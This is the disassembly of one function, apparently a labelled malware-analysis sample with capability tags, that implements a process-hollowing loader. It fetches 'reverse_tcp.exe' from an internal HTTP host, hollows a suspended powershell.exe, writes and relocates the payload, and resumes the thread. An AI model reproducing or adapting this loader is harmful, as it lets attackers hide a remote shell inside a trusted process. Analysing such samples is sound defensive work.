Function at 0x40167a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Schedule task via at
Use process replacement

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x3c0
call fcn.0040d130
mov dword [ebp - 0x1c], str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov dword [ebp - 0x20], str.http:__10.0.2.15:8000_reverse_tcp.exe
lea eax, [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.004014f0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4016c4
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x4016da
mov dword [esp], str.Error_downloading_payload._n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
pxor xmm0, xmm0
movups xmmword [ebp - 0xa4], xmm0
movups xmmword [ebp - 0x94], xmm0
movups xmmword [ebp - 0x84], xmm0
movups xmmword [ebp - 0x74], xmm0
movd dword [ebp - 0x64], xmm0
lea eax, [ebp - 0xb4]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0xa4]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x401777
mov dword [esp], str.Error_creating_process_n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
mov dword [ebp - 0x380], 0x10007
mov eax, dword [ebp - 0xb0]
lea edx, [ebp - 0x380]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadContext]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x4017bd
mov dword [esp], str.Error_getting_context_n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
mov eax, dword [ebp - 0x2dc]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x384]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov dword [esp], str.ntdll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
mov dword [esp + 4], str.NtUnmapViewOfSection
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x384]
mov edx, dword [ebp - 0xb4]
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x401868
mov dword [esp], str.Error_unmapping_section_n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x384]
mov eax, dword [ebp - 0xb4]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x4018d4
mov dword [esp], str.Error_allocating_memory_n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
mov eax, dword [ebp - 0x384]
mov edx, eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0x34]
sub edx, eax
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x384]
mov edx, eax
mov eax, dword [ebp - 0x38]
mov dword [eax + 0x34], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x384]
mov eax, dword [ebp - 0xb4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x24]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40194a
mov dword [esp], str.Failed_to_write_headers_n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
mov dword [ebp - 0xc], 0
jmp 0x4019e2
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
lea edx, [eax + 0xf8]
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x24]
lea ebx, [ecx + eax]
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x3c]
add ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4019de
mov dword [esp], str.Error_writing_section._n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x38]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0xc], eax
jl 0x401956
cmp dword [ebp - 0x40], 0
je 0x401bef
mov dword [ebp - 0x10], 0
jmp 0x401bdc
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x10]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
lea edx, [eax + 0xf8]
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 8], 6
mov dword [esp + 4], str..reloc
mov dword [esp], eax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x401bd8
mov eax, dword [ebp - 0x44]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
mov edx, dword [eax + 0xa4]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x388], edx
mov dword [ebp - 0x14], 0
jmp 0x401bc9
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x4c], eax
add dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x18], 0
jmp 0x401bbd
add dword [ebp - 0x14], 2
mov eax, dword [ebp - 0x18]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x54]
add eax, edx
movzx eax, byte [eax + 1]
and eax, 0xfffffff0
test al, al
je 0x401bb8
mov eax, dword [ebp - 0x4c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x54]
add eax, ecx
movzx eax, word [eax]
and ax, 0xfff
movzx eax, ax
add eax, edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x384]
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x390]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov edx, dword [ebp - 0x390]
mov eax, dword [ebp - 0x40]
add eax, edx
mov dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x384]
mov edx, eax
mov eax, dword [ebp - 0x58]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x390]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401bb9
mov dword [esp], str.Error_Writing_Entry._n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
nop
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x50]
jb 0x401ac1
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0x14], eax
jb 0x401a83
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x38]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x10], eax
jl 0x401a0b
mov eax, dword [ebp - 0x38]
lea edx, [eax + 0x34]
mov eax, dword [ebp - 0x2dc]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x38]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x3c]
add eax, edx
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0xb0]
lea edx, [ebp - 0x380]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetThreadContext]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401c7b
mov dword [esp], str.Error_setting_context_n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
cmp eax, 0xffffffff
sete al
test al, al
je 0x401cab
mov dword [esp], str.Error_resuming_thread_n
call fcn.0041f248
mov eax, 0
jmp 0x401cb0
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret